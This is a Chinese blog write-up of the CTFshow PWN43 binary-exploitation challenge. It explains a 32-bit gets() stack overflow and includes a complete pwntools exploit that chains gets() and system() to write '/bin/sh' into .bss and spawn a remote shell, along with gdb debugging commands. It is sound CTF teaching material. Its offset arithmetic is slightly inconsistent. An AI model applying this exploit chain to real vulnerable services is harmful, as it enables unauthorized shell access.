news 2026/6/3 14:05:56

CTFshow PWN43实战:当system函数没有/bin/sh,手把手教你用gets函数写入并getshell

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CTFshow PWN43实战:当system函数没有/bin/sh,手把手教你用gets函数写入并getshell

CTFshow PWN43实战:无/bin/sh时的栈溢出攻击艺术

在CTF竞赛的二进制漏洞利用(PWN)领域,遇到有system函数但缺少/bin/sh字符串的情况堪称经典考题。这类题目不仅考察选手对栈溢出基本原理的掌握,更考验灵活运用程序已有资源的能力。本文将深入剖析如何在没有现成/bin/sh的情况下,通过gets函数实现内存写入并最终getshell的全过程。

1. 漏洞环境与初步分析

首先我们需要明确目标程序的基本情况。这是一个32位ELF可执行文件,使用checksec工具检查保护机制时会发现通常只开启了NX(不可执行栈),这正是栈溢出利用的理想场景。

使用IDA Pro进行静态分析,可以快速定位到关键函数ctfshow()。该函数定义了一个长度为104的字符数组s,并通过不安全的gets()函数读取输入。由于gets()不进行长度检查,经典的栈溢出漏洞就此形成。

char s[104]; gets(s); // 危险函数调用

通过逆向工程,我们确认了以下关键信息:

  • system()函数地址:0x8048450
  • gets()函数地址:0x8048420
  • 程序中不存在现成的"/bin/sh"字符串

关键挑战:如何在没有现成shell字符串的情况下,构造出有效的system("/bin/sh")调用?

2. 内存布局与可写区域定位

在缺乏现成字符串的情况下,我们需要找到可写入内存的区域来存放自定义的"/bin/sh"字符串。使用GDB调试是解决这一问题的标准方法:

gdb ./pwn break main run vmmap

vmmap命令输出的关键信息如下:

内存范围权限大小描述
0x804b000-0x804c000rw-p0x1000.bss段(可读写)

在.bss段中,我们发现了一个名为buf2的全局变量,地址为0x804B060。这个地址将成为我们写入"/bin/sh"的理想位置。

提示:选择.bss段而非栈空间的原因是其地址固定且不受ASLR影响(在本题环境下)

3. 攻击链设计与ROP构造

有了可写内存地址和必要函数地址,接下来需要精心设计攻击链。核心思路分为三步:

  1. 覆盖返回地址跳转到gets()函数
  2. 通过gets()向buf2写入"/bin/sh"
  3. 返回到system()执行shell命令

具体payload结构如下:

[填充数据][gets地址][system地址][gets返回地址][gets参数]

用pwntools实现的完整exp如下:

from pwn import * context(arch='i386', os='linux') p = remote('pwn.challenge.ctf.show', 28227) offset = 0x6C + 4 # 填充到返回地址的偏移 system = 0x8048450 buf2 = 0x804B060 gets = 0x8048420 payload = flat( b'A'*offset, gets, # 覆盖返回地址为gets system, # gets返回后跳转到system buf2, # gets的参数:写入地址 buf2 # system的参数:"/bin/sh"地址 ) p.sendline(payload) p.sendline(b'/bin/sh\x00') # 实际写入的内容 p.interactive()

4. 关键细节与实战技巧

4.1 偏移量计算

确定正确的偏移量是栈溢出成功的前提。在本例中,通过IDA可以清晰看到变量s到返回地址的距离:

  • char s[104]:占用104字节
  • EBP保存:4字节
  • 返回地址:从第108(0x6C)字节开始

因此偏移量为108字节(0x6C + 4)。

4.2 参数传递约定

32位程序使用栈传递参数,遵循从右向左的压栈顺序。函数返回后,调用者负责平衡栈指针。理解这一点对构造ROP链至关重要:

  1. gets()调用时:

    • 返回地址:system地址
    • 参数:buf2地址(写入位置)
  2. system()调用时:

    • 参数:buf2地址(已写入"/bin/sh")

4.3 实际调试技巧

遇到攻击失败时,GDB调试是关键。建议在关键位置设置断点:

break *0x80484A3 # gets调用前 break *0x80484A8 # gets返回后 x/20wx $esp # 检查栈布局 x/s 0x804B060 # 验证字符串写入

5. 防御措施与变种挑战

了解攻击方法后,我们也要思考防御策略。现代系统常见的防护手段包括:

  • ASLR(地址空间随机化)
  • Stack Canary(栈保护)
  • RELRO(重定位只读)
  • PIE(位置无关可执行文件)

在更复杂的题目中,可能会遇到以下变种:

  • 只有write/read等函数可用
  • 需要先泄漏libc地址
  • 存在字符过滤限制

这类题目往往需要结合多种技术,如ROP链构造、内存泄漏、字符串拼接等。掌握基础栈溢出技术是应对这些挑战的必要前提。

在实战中,我习惯先用cyclic pattern确定精确偏移,然后逐步构建攻击链。遇到问题时,耐心分析每一处内存变化和寄存器状态,往往能发现被忽略的关键细节。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/3 13:59:56

基于ESP8266与Blynk的物联网远程控制LED灯实战教程

1. 项目概述:从零构建一个互联网遥控灯 如果你手头有一块ESP8266 NodeMCU开发板,想体验一下物联网(IoT)的魅力,但又觉得云平台配置复杂、协议晦涩,那么今天这个项目就是为你准备的。我们将绕开那些繁琐的步…

作者头像 李华
网站建设 2026/6/3 13:58:32

跨领域创意实践:从电路设计到生活美学的融合指南

1. 项目概述:当电路板遇见生活美学如果你和我一样,既着迷于电路板上那些精密走线所代表的逻辑与秩序,又无法抗拒亲手制作一件有温度、有功能的生活物品所带来的满足感,那么你大概能理解我为什么对“跨领域创意实践”如此着迷。这不…

作者头像 李华
网站建设 2026/6/3 13:55:47

OmenSuperHub深度解析:解锁惠普游戏本性能潜力的5大关键功能

OmenSuperHub深度解析:解锁惠普游戏本性能潜力的5大关键功能 【免费下载链接】OmenSuperHub Control Omen laptop performance, fan speeds, and keyboard lighting, and unlock power limits. 项目地址: https://gitcode.com/gh_mirrors/om/OmenSuperHub Om…

作者头像 李华
网站建设 2026/6/3 13:55:02

从微软创新杯获奖项目看技术架构演进与工程实践

1. 从获奖名单看全球青年创新的技术风向2011年微软“创新杯”(Imagine Cup)全球总决赛的获奖名单公布,像一份来自未来的技术地图,清晰地标注了当时全球顶尖学生开发者们最关注的领域和最具潜力的解决方案。这份名单不仅仅是一串国…

作者头像 李华
网站建设 2026/6/3 13:49:33

用ChatGPT-4和ChatNet框架,5步搞定网络容量规划(附实战代码)

用ChatGPT-4和ChatNet框架实现智能网络容量规划的实战指南网络容量规划一直是运维团队最头疼的挑战之一。想象一下这样的场景:凌晨三点,你被紧急告警电话惊醒,核心交换机端口利用率持续超过90%,而业务部门还在要求新增十条跨境专线…

作者头像 李华
网站建设 2026/6/3 13:49:30

不只是最小系统:给你的STM32F103C8T6核心板添加这些实用外设电路

从最小系统到全能开发板:STM32F103C8T6外设扩展实战指南当你第一次点亮STM32F103C8T6最小系统板上的LED时,那种成就感无与伦比。但很快你会发现,一个只有电源、晶振和复位电路的核心板在实际项目中远远不够。本文将带你突破最小系统的限制&am…

作者头像 李华